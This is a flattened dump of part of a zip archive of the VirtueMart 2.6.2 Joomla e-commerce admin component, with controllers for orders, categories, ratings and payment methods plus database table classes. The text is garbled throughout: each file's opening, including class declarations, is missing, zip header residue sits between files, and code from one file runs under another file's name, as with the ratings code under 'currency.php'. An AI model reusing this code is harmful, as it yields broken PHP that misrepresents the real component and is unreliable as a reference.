$waitinglist->notifyList($virtuemart_product_id,$subject,$mailbody,$max_number); exit; } public function ajax_waitinglist() { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'ARRAY'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $waitinglistmodel = VmModel::getModel('waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($virtuemart_product_id); if(empty($waitinglist)) $waitinglist = array(); echo json_encode($waitinglist); exit; /* $result = array(); foreach($waitinglist as $wait) array_push($result,array("virtuemart_user_id"=>$wait->virtuemart_user_id,"notify_email"=>$wait->notify_email,'name'=>$wait->name,'username'=>$wait->username)); echo json_encode($result); exit; */ } } // pure php no closing tag PKB\v` ` controllers/custom.phpnuW+AgetView('custom', 'json'); // Now display the view. $view->display(null); } function save($data = 0) { $data = JRequest::get('post'); // onSaveCustom plugin; parent::save($data); } /** * Clone a product * * @author Max Milbers */ public function createClone() { $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('custom', 'html'); $model = VmModel::getModel('custom'); $msgtype = ''; $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_custom_id',array(),'', 'ARRAY'), '', 'ARRAY'); jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach ($cids as $custom_id) { if ($model->createClone($custom_id)) $msg = JText::_('COM_VIRTUEMART_CUSTOM_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_CUSTOM_NOT_CLONED_SUCCESSFULLY').' : '.$custom_id; $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=custom', $msg, $msgtype); } } // pure php no closing tag PKB\!xFQcontrollers/currency.phpnuW+A_cname); JRequest::setVar('view', $this->_cname); JRequest::setVar('layout', 'edit_review'); // JRequest::setVar('hidemenu', 1); if(empty($view)){ $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($this->_cname, $viewType); } parent::display(); } /** * lits the reviews * @author Max Milbers */ public function listreviews(){ /* Create the view object */ $view = $this->getView('ratings', 'html'); $view->setLayout('list_reviews'); $view->display(); } /** * we must overwrite it here, because the task publish can be meant for two different list layouts. */ function publish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::publish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::publish(); } } function unpublish(){ JRequest::checkToken() or jexit( 'Invalid Token save' ); $layout = JRequest::getString('layout','default'); if($layout=='list_reviews'){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redPath = ''; if (!empty($virtuemart_product_id)) { $redPath = '&task=listreviews&virtuemart_product_id=' . $virtuemart_product_id; } parent::unpublish('virtuemart_rating_review_id','rating_reviews',$this->redirectPath.$redPath); } else { parent::unpublish(); } } /** * Save task for review * * @author Max Milbers */ function saveReview(){ $this->storeReview(FALSE); } /** * Save task for review * * @author Max Milbers */ function applyReview(){ $this->storeReview(TRUE); } function storeReview($apply){ JRequest::checkToken() or jexit( 'Invalid Token save' ); if (empty($data)){ $data = JRequest::get ('post'); } $model = VmModel::getModel($this->_cname); $id = $model->saveRating($data); $errors = $model->getErrors(); if (empty($errors)) { $msg = JText::sprintf ('COM_VIRTUEMART_STRING_SAVED', $this->mainLangKey); } foreach($errors as $error){ $msg = ($error).'
    '; } $redir = $this->redirectPath; if($apply){ $redir = 'index.php?option=com_virtuemart&view=ratings&task=edit_review&virtuemart_rating_review_id='.$id; } else { $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $redir = 'index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id; } $this->setRedirect($redir, $msg); } /** * Save task for review * * @author Max Milbers */ function cancelEditReview(){ $virtuemart_product_id = JRequest::getVar('virtuemart_product_id',array(),'', 'array'); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $msg = JText::sprintf('COM_VIRTUEMART_STRING_CANCELLED',$this->mainLangKey); //'COM_VIRTUEMART_OPERATION_CANCELED' $this->setRedirect('index.php?option=com_virtuemart&view=ratings&task=listreviews&virtuemart_product_id='.$virtuemart_product_id, $msg); } } // pure php no closing tag PKB\]~ttcontrollers/state.phpnuW+AredirectPath .= ($country > 0) ? '&virtuemart_country_id=' . $country : ''; } /** * Retrieve full statelist */ function getList() { /* Create the view object. */ $view = $this->getView('state', 'json'); /* Now display the view. */ $view->display(null); } } PKB\^Ji controllers/plugin.phpnuW+Acheck('admin')){ return false; } $type = JRequest::getWord('type', 'vmcustom'); $typeWhiteList = array('vmshopper','vmcustom','vmcalculation','vmpayment','vmshipment', 'vmuserfield'); if(!in_array($type,$typeWhiteList)) return false; $name = JRequest::getString('name',''); JPluginHelper::importPlugin($type, $name); $dispatcher = JDispatcher::getInstance(); // if you want only one render simple in the plugin use jExit(); // or $render is an array of code to echo as html or json Object! $render = null ; $dispatcher->trigger('plgVmOnSelfCallBE',array($type, $name, &$render)); if ($render ) { // Get the document object. $document =JFactory::getDocument(); if (JRequest::getWord('cache', 'no')) { JResponse::setHeader('Cache-Control','no-cache, must-revalidate'); JResponse::setHeader('Expires','Mon, 6 Jul 2000 10:00:00 GMT'); } $format = JRequest::getWord('format', 'json'); if ($format == 'json') { $document->setMimeEncoding('application/json'); // Change the suggested filename. JResponse::setHeader('Content-Disposition','attachment;filename="'.$type.'".json"'); echo json_encode($render); } else echo $render; } return true; } } PKB\Չ&&controllers/category.phpnuW+Aauthorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } $data = JRequest::get('post'); $data['category_name'] = JRequest::getVar('category_name','','post','STRING',JREQUEST_ALLOWHTML); $data['category_description'] = JRequest::getVar('category_description','','post','STRING',JREQUEST_ALLOWHTML); parent::save($data); } /** * Save the category order * * @author jseros */ public function orderUp() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, -1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_UP'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the category order * * @author jseros */ public function orderDown() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check token JRequest::checkToken() or jexit( 'Invalid Token' ); //capturing virtuemart_category_id $id = 0; $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); JArrayHelper::toInteger($cid); if (isset($cid[0]) && $cid[0]) { $id = $cid[0]; } else { $this->setRedirect( 'index.php?option=com_virtuemart&view=category', JText::_('COM_VIRTUEMART_NO_ITEMS_SELECTED') ); return false; } //getting the model $model = VmModel::getModel('category'); if ($model->orderCategory($id, 1)) { $msg = JText::_('COM_VIRTUEMART_ITEM_MOVED_DOWN'); } else { $msg = $model->getError(); } $this->setRedirect( 'index.php?option=com_virtuemart&view=category', $msg ); } /** * Save the categories order */ public function saveOrder() { //ACL if (!JFactory::getUser()->authorise('vm.category.edit', 'com_virtuemart')) { JFactory::getApplication()->redirect( 'index.php?option=com_virtuemart', JText::_('JERROR_ALERTNOAUTHOR'), 'error'); } // Check for request forgeries JRequest::checkToken() or jexit( 'Invalid Token' ); $cid = JRequest::getVar( 'cid', array(), 'post', 'array' ); //is sanitized JArrayHelper::toInteger($cid); $model = VmModel::getModel('category'); $order = JRequest::getVar('order', array(), 'post', 'array'); JArrayHelper::toInteger($order); if ($model->setOrder($cid,$order)) { $msg = JText::_('COM_VIRTUEMART_NEW_ORDERING_SAVED'); } else { $msg = $model->getError(); } $this->setRedirect('index.php?option=com_virtuemart&view=category', $msg ); } } PKB\lyG-*%*%controllers/orders.phpnuW+AgetOrderId($id, $dir)) { $order_id = $id; $msg = JText::_('COM_VIRTUEMART_NO_MORE_ORDERS'); } else { $msg =''; } $this->setRedirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$order_id ,$msg ); } /** * NextOrder * renamed, the name was ambigous notice by Max Milbers * @author Kohl Patrick */ public function prevItem(){ $this->nextItem('DESC'); } /** * Generic cancel task * * @author Max Milbers */ public function cancel(){ // back from order $this->setRedirect('index.php?option=com_virtuemart&view=orders' ); } /** * Shows the order details * @deprecated */ public function editOrderStatus() { /* Create the view object */ $view = $this->getView('orders', 'html'); /* Default model */ $model = VmModel::getModel('orders'); $model->updateOrderStatus(); /* Now display the view. */ $view->display(); } /** * Update an order status * * @author Max Milbers */ public function updatestatus() { //vmdebug('updatestatus'); $mainframe = Jfactory::getApplication(); $lastTask = JRequest::getWord('last_task'); /* Load the view object */ $view = $this->getView('orders', 'html'); /* Update the statuses */ $model = VmModel::getModel('orders'); if ($lastTask == 'updatestatus') { // single order is in POST but we need an array $order = array() ; $virtuemart_order_id = JRequest::getInt('virtuemart_order_id'); $order[$virtuemart_order_id] = (JRequest::get('post')); //vmdebug( 'order',$order); $result = $model->updateOrderStatus($order); } else { $result = $model->updateOrderStatus(); } $msg=''; if ($result['updated'] > 0) $msg = JText::sprintf('COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY', $result['updated'] ); else if ($result['error'] == 0) $msg .= JText::_('COM_VIRTUEMART_ORDER_NOT_UPDATED'); if ($result['error'] > 0) $msg .= JText::sprintf('COM_VIRTUEMART_ORDER_NOT_UPDATED_SUCCESSFULLY', $result['error'] , $result['total']); if ('updatestatus'== $lastTask ) { $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$virtuemart_order_id , $msg); } else { $mainframe->redirect('index.php?option=com_virtuemart&view=orders', $msg); } } /** * Save changes to the order item status * */ public function saveItemStatus() { //vmdebug('saveItemStatus'); $mainframe = Jfactory::getApplication(); /* Load the view object */ $view = $this->getView('orders', 'html'); $data = JRequest::get('post'); $model = VmModel::getModel(); $model->updateItemStatus(JArrayHelper::toObject($data), $data['new_status']); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$data['virtuemart_order_id']); } /** * Display the order item details for editing */ public function editOrderItem() { //vmdebug('editOrderItem'); JRequest::setVar('layout', 'orders_editorderitem'); // JRequest::setVar('hidemenu', 1); parent::display(); } /** * correct position, working with json? actually? WHat ist that? * * Get a list of related products * @author Max Milbers */ public function getProducts() { /* Create the view object */ $view = $this->getView('orders', 'json'); $view->setLayout('orders_editorderitem'); /* Now display the view. */ $view->display(); } /** * Update status for the selected order items */ public function updateOrderItemStatus() { //vmdebug('updateOrderItemStatus'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); //JArrayHelper::toInteger($_items); $_orderID = JRequest::getInt('virtuemart_order_id', ''); foreach ($_items as $key=>$value) { //vmdebug('updateOrderItemStatus VAL ',$value); if (!isset($value['comments'])) $value['comments'] = ''; $data = (object)$value; $data->virtuemart_order_id = $_orderID; // $model->updateSingleItem((int)$key, $value['order_status'],$value['comments'],$_orderID); $model->updateSingleItem((int)$key, $data, true); } $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function updateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $_items = JRequest::getVar('item_id', 0, '', 'array'); $_orderID = JRequest::getInt('virtuemart_order_id', ''); $model->UpdateOrderHead((int)$_orderID, JRequest::get('post')); $model->deleteInvoice($_orderID); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$_orderID); } public function CreateOrderHead() { $mainframe = Jfactory::getApplication(); $model = VmModel::getModel(); $orderid = $model->CreateOrderHead(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.$orderid ); } /** * Update a single order item public function updateOrderItem() { //vmdebug('updateOrderItem'); $mainframe = Jfactory::getApplication(); $model = VmModel::getModel('orders'); // $model->updateSingleItem(); $mainframe->redirect('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id='.JRequest::getInt('virtuemart_order_id', '')); } */ public function newOrderItem() { //vmdebug('newOrderItem'); $orderId = JRequest::getInt('virtuemart_order_id', ''); $model = VmModel::getModel(); $msg = ''; $data = JRequest::get('post'); if (!$model->saveOrderLineItem($data)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } /** * Removes the given order item */ public function removeOrderItem() { //vmdebug('removeOrderItem'); $model = VmModel::getModel(); $msg = ''; $orderId = JRequest::getInt('orderId', ''); // TODO $orderLineItem as int ??? $orderLineItem = JRequest::getVar('orderLineId', ''); if (!$model->removeOrderLineItem($orderLineItem)) { $msg = $model->getError(); } $model->deleteInvoice($orderId); $editLink = 'index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $orderId; $this->setRedirect($editLink, $msg); } public function exportOrdersAsCSV(){ $model = VmModel::getModel(); $idArray = JRequest::getVar('cid', 0, '', 'array'); $orders = array(); foreach($idArray as $orderId){ $orders[] = $model -> getOrder($orderId); } $csv = ''; $head = array('virtuemart_order_userinfo_id','virtuemart_vendor_id','order_number','order_total','order_subtotal','order_tax','order_status','user_currency_rate','customer_note'); foreach($head as $item){ $csv .= '"'.$item.'";"'; } foreach($orders as $order){ // $order = (array) $order;7 // $order['details'] // $order['items'] // $order['calc_rules'] $attribs = get_object_vars($order['details']['BT']); // $csv = '"BT"'; // foreach($attribs as $k=>$v){ // $csv .= ';"'.$k.':'$v; // } // $csv .= "\n"; } $jUser = JFactory::getUser(); $date = date("Y-m-d"); $name = $jUser->name.$date.'.csv'; // header("Content-Disposition: attachment; filename=\"".JFile::getName($media->file_url)."\""); // header("Content-Disposition: attachment; filename=\"".$name."\""); // echo $csv; parent::display(); // jExit(); } } // pure php no closing tag PKB\.}=//controllers/orderstatus.phpnuW+AgetView('shipmentmethod', 'html'); $model = VmModel::getModel('shipmentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_shipment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=shipmentmethod', $msg, $msgtype); } } // pure php no closing tag PKB\$ $ controllers/paymentmethod.phpnuW+AgetView('paymentmethod', 'html'); $model = VmModel::getModel('paymentmethod'); $msgtype = ''; //$cids = JRequest::getInt('virtuemart_product_id',0); $cids = JRequest::getVar($this->_cidName, JRequest::getVar('virtuemart_payment_id',array(),'', 'ARRAY'), '', 'ARRAY'); //jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($cids); foreach($cids as $cid){ if ($model->createClone($cid)) $msg = JText::_('COM_VIRTUEMART_PAYMENT_CLONED_SUCCESSFULLY'); else { $msg = JText::_('COM_VIRTUEMART_PAYMENT_NOT_CLONED_SUCCESSFULLY'); $msgtype = 'error'; } } $mainframe->redirect('index.php?option=com_virtuemart&view=paymentmethod', $msg, $msgtype); } } // pure php no closing tag PKB\7Nq config.xmlnuW+A
    PKB\Ww version.phpnuW+A" . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; return; } if( !class_exists( 'vmVersion' ) ) { /** Version information */ class vmVersion { /** @var string Product */ static $PRODUCT = 'VirtueMart'; /** @var int Release Number */ static $RELEASE = '2.6.2'; /** @var string Development Status */ static $DEV_STATUS = 'MINOR'; /** @var string Codename */ static $CODENAME = 'PowerFox'; /** @var string Date */ static $RELDATE = 'May 22 2014'; /** @var string Time */ static $RELTIME = '1259'; /** @var string Timezone */ static $RELTZ = 'GMT'; /** @var string Revision */ static $REVISION = 'Revision: 7985'; /** @var string Copyright Text */ static $COPYRIGHT = 'Copyright (C) 2005-2012 VirtueMart Development Team - All rights reserved.'; /** @var string URL */ static $URL = 'VirtueMart is a Free Component for Joomla! released under the GNU/GPL2 License.'; } $shortversion = vmVersion::$PRODUCT . " " . vmVersion::$RELEASE . " " . vmVersion::$DEV_STATUS. " "; $myVersion = $shortversion .' '.vmVersion::$REVISION. " [".vmVersion::$CODENAME ."]
    " . vmVersion::$RELDATE . " " . vmVersion::$RELTIME . " " . vmVersion::$RELTZ; } // pure php no closing tagPKB\Gf99 tables/product_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } }PKB\X!!tables/category_medias.phpnuW+AsetPrimaryKey('virtuemart_category_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); $this->setTableShortCut('cm'); } } PKB\setPrimaryKey('virtuemart_category_id'); $this->setObligatoryKeys('category_name'); $this->setLoggable(); $this->setTranslatable(array('category_name','category_description','metadesc','metakey','customtitle')); $this->setSlug('category_name'); $this->setTableShortCut('c'); } public function check(){ $csValue = $this->limit_list_step; if(!empty($csValue)){ $sequenceArray = explode(',', $csValue); foreach($sequenceArray as &$csV){ $csV = (int)trim($csV); } $this->limit_list_step = implode(',',$sequenceArray); vmdebug('my check',$this->limit_list_step); } return parent::check(); } /** * Overwrite method * * @author jseros * @param $dirn movement number * @param $parent_id category parent id * @param $where sql WHERE clausule */ public function move( $dirn, $parent_id = 0, $where='' ) { if (!in_array( 'ordering', array_keys($this->getProperties()))) { vmError( get_class( $this ).' does not support ordering' ); return false; } $k = $this->_tbl_key; $sql = "SELECT c.".$this->_tbl_key.", c.ordering FROM ".$this->_tbl." c LEFT JOIN #__virtuemart_category_categories cx ON c.virtuemart_category_id = cx.category_child_id"; $condition = 'cx.category_parent_id = '. $this->_db->Quote($parent_id); $where = ($where ? ' AND '.$condition : $condition); if ($dirn < 0) { $sql .= ' WHERE c.ordering < '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering DESC'; } else if ($dirn > 0) { $sql .= ' WHERE c.ordering > '.(int) $this->ordering; $sql .= ($where ? ' AND '. $where : ''); $sql .= ' ORDER BY c.ordering'; } else { $sql .= ' WHERE c.ordering = '.(int) $this->ordering; $sql .= ($where ? ' AND '.$where : ''); $sql .= ' ORDER BY c.ordering'; } $this->_db->setQuery( $sql, 0, 1 ); $row = null; $row = $this->_db->loadObject(); if (isset($row)) { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '. (int) $row->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row this->k '.$err ); } $query = 'UPDATE '.$this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '.$this->_tbl_key.' = '.$this->_db->Quote($row->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move isset row $row->$k '.$err ); } $this->ordering = $row->ordering; } else { $query = 'UPDATE '. $this->_tbl . ' SET ordering = '.(int) $this->ordering . ' WHERE '. $this->_tbl_key .' = '. $this->_db->Quote($this->$k) ; $this->_db->setQuery( $query ); if (!$this->_db->query()) { $err = $this->_db->getErrorMsg(); JError::raiseError( 500, 'TableCategories move update '.$err ); } } return true; } /** * Overwrite method * Compacts the ordering sequence of the selected records * @author jseros * * @param $parent_id category parent id * @param string Additional where query to limit ordering to a particular subset of records */ function reorder( $parent_id = 0, $where='' ) { $k = $this->_tbl_key; if (!in_array( 'ordering', array_keys($this->getProperties() ) )) { vmError( get_class( $this ).' does not support ordering'); return false; } $query = 'SELECT c.'.$this->_tbl_key.', c.ordering' . ' FROM '. $this->_tbl . ' c' . ' LEFT JOIN #__virtuemart_category_categories cx' . ' ON c.virtuemart_category_id = cx.category_child_id' . ' WHERE c.ordering >= 0' . ( $where ? ' AND '. $where : '' ) . ' AND cx.category_parent_id = '. $parent_id . ' ORDER BY c.ordering'.$order2; $this->_db->setQuery( $query ); if (!($orders = $this->_db->loadObjectList())) { vmError($this->_db->getErrorMsg()); return false; } // compact the ordering numbers for ($i=0, $n=count( $orders ); $i < $n; $i++) { if ($orders[$i]->ordering >= 0) { if ($orders[$i]->ordering != $i+1) { $orders[$i]->ordering = $i+1; $query = 'UPDATE '.$this->_tbl . ' SET ordering = '. (int) $orders[$i]->ordering . ' WHERE '. $k .' = '. $this->_db->Quote($orders[$i]->$k) ; $this->_db->setQuery( $query); $this->_db->query(); } } } return true; } } PKB\ ntables/userinfos.phpnuW+AsetPrimaryKey('virtuemart_userinfo_id'); $this->setObligatoryKeys('address_type'); $this->setObligatoryKeys('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('ui'); } /** * Validates the user info record fields. * * @author RickG, RolandD, Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ public function check(){ if($this->address_type=='BT' or $this->address_type=='ST' ){ if($this->address_type=='ST' and empty($this->address_type_name)){ $this->address_type_name = 'Delivery Address '.rand(1,9); vmWarn('Table userinfos check failed: address_type '.$this->address_type.' without name, autogenerated '.$this->address_type_name,'check failed: ST has no name, autogenerated '.$this->address_type_name); //return false; } } else { vmError('Table userinfos check failed: Unknown address_type '.$this->address_type,'check failed: Unknown address_type '); vmdebug('Table userinfos check failed: Unknown address_type '.$this->address_type.' virtuemart_user_id '.$this->virtuemart_user_id.' name '.$this->name); return false; } if (!empty($this->virtuemart_userinfo_id)) { $this->virtuemart_userinfo_id = (int)$this->virtuemart_userinfo_id; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { $q = "SELECT virtuemart_user_id FROM #__virtuemart_userinfos WHERE virtuemart_userinfo_id = ".$this->virtuemart_userinfo_id; $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $userId = JFactory::getUser()->id; if($total[0]!=$userId){ vmError('Hacking attempt uid check, you got logged'); echo 'Hacking attempt uid check, you got logged'; return false; } } } //return parent::check(); } else { if(empty($this->address_type)) $this->address_type = 'BT'; /* Check if a record exists */ $q = "SELECT virtuemart_userinfo_id FROM #__virtuemart_userinfos WHERE virtuemart_user_id = ".$this->virtuemart_user_id." AND address_type = ".$this->_db->Quote($this->address_type); if($this->address_type!='BT'){ $q .= " AND address_type_name = ".$this->_db->Quote($this->address_type_name); } $this->_db->setQuery($q); $total = $this->_db->loadResultArray(); if (count($total) > 0) { $this->virtuemart_userinfo_id = (int)$total[0]; } else { $this->virtuemart_userinfo_id = 0;//md5(uniqid($this->virtuemart_user_id)); } } if(empty($this->virtuemart_user_id)){ $user = JFactory::getUser(); if(!empty($user->id)){ $this->virtuemart_user_id = $user->id; } } return parent::check(); } /** * Overloaded delete() to delete a list of virtuemart_userinfo_id's based on the user id * @var mixed id * @return boolean True on success * @author Oscar van Eijk */ function delete( $id=null , $where = 0 ){ // TODO If $id is not numeric, assume it's a virtuemart_userinfo_id. Validate if this is safe enough if (!is_numeric($id)) { return (parent::delete($id)); } // Implicit else $this->_db->setQuery('DELETE from `#__virtuemart_userinfos` WHERE `virtuemart_user_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // No Closing tag PKB\όA` ` tables/userfield_values.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); } /** * Validates the userfields record fields, and checks if the given value already exists. * If so, the primary key is set. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check() { if (preg_match('/[^a-z0-9\._\-]/i', $this->fieldvalue) > 0) { vmError(JText::_('COM_VIRTUEMART_TITLE_IN_FIELDVALUES_CONTAINS_INVALID_CHARACTERS')); return false; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_userfield_value_id` FROM `#__virtuemart_userfield_values` ' . 'WHERE `fieldvalue`="' . $this->fieldvalue . '" ' . 'AND `virtuemart_userfield_id`=' . $this->virtuemart_userfield_id; $db->setQuery($q); $_id = $db->loadResult(); if ($_id === null) { $this->virtuemart_userfield_value_id = null; } else { $this->virtuemart_userfield_value_id = $_id; } return true; } /** * Reimplement delete() to get a list if value IDs based on the field id * @var Field id * @return boolean True on success */ function delete( $virtuemart_userfield_id=null , $where = 0 ){ $db = JFactory::getDBO(); $db->setQuery('DELETE from `#__virtuemart_userfield_values` WHERE `virtuemart_userfield_id` = ' . $virtuemart_userfield_id); if ($db->query() === false) { vmError($db->getError()); return false; } return true; } } //No CLosing Tag PKB\ tables/order_items.phpnuW+AsetLoggable(); } } // pure php no closing tag PKB\J>3tables/calc_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKB\ Jtables/invoices.phpnuW+AsetUniqueName('invoice_number'); $this->setLoggable(); $this->setTableShortCut('inv'); } } PKB\0sT]]tables/vmusers.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setLoggable(); $this->setTableShortCut('vmu'); } } PKB\oxtables/calc_categories.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_category_id','calc_categories'); } } PKB\w% tables/product_prices.phpnuW+AsetPrimaryKey('virtuemart_product_price_id'); $this->setLoggable(); $this->setTableShortCut('pp'); $this->_updateNulls = true; } /** * @author Max Milbers * @param */ function check(){ if(!empty($this->product_price)){ $this->product_price = str_replace(array(',',' '),array('.',''),$this->product_price); } if(isset($this->product_override_price)){ $this->product_override_price = str_replace(array(',',' '),array('.',''),$this->product_override_price); } return parent::check(); } } // pure php no closing tag PKB\ɂtables/shipmentmethods.phpnuW+AsetUniqueName('shipment_name'); $this->setObligatoryKeys('shipment_jplugin_id'); $this->setObligatoryKeys('shipment_name'); $this->setLoggable(); $this->setTranslatable(array('shipment_name', 'shipment_desc')); $this->setSlug('shipment_name'); } } // pure php no closing tag PKB\(]99'tables/shipmentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_shipmentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKB\d`a5 5 tables/currencies.phpnuW+AsetUniqueName('currency_name'); $this->setLoggable(); $this->setOrderable(); } function check(){ //$this->checkCurrencySymbol(); return parent::check(); } /** * ATM Unused ! * Checks a currency symbol wether it is a HTML entity. * When not and $convertToEntity is true, it converts the symbol * Seems not be used ATTENTION seems BROKEN, working only for euro, ... * */ function checkCurrencySymbol($convertToEntity=true ) { $symbol = str_replace('&', '&', $this->currency_symbol ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } else { if( $convertToEntity ) { $symbol = htmlentities( $symbol, ENT_QUOTES, 'utf-8' ); if( substr( $symbol, 0, 1) == '&' && substr( $symbol, strlen($symbol)-1, 1 ) == ';') { return $symbol; } // Sometimes htmlentities() doesn't return a valid HTML Entity switch( ord( $symbol ) ) { case 128: case 63: $symbol = '€'; break; } } } $this->currency_symbol = $symbol; } } // pure php no closing tag PKB\"tables/ratings.phpnuW+AsetPrimaryKey('virtuemart_rating_id'); // $this->setObligatoryKeys('virtuemart_product_id'); $this->setLoggable(); $this->setTableShortCut('r'); } } // pure php no closing tag PKB\T% % tables/paymentmethods.phpnuW+AsetObligatoryKeys('payment_jplugin_id'); $this->setObligatoryKeys('payment_name'); $this->setLoggable(); $this->setTranslatable(array('payment_name', 'payment_desc')); $this->setSlug('payment_name'); // $this->setUniqueName('ordering'); } } // pure php no closing tag PKB\)tables/.htaccessnuW+A Order allow,deny Deny from all PKB\422tables/vendors.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setUniqueName('vendor_name'); $this->setSlug('vendor_store_name'); //Attention the slug autoname MUST be also 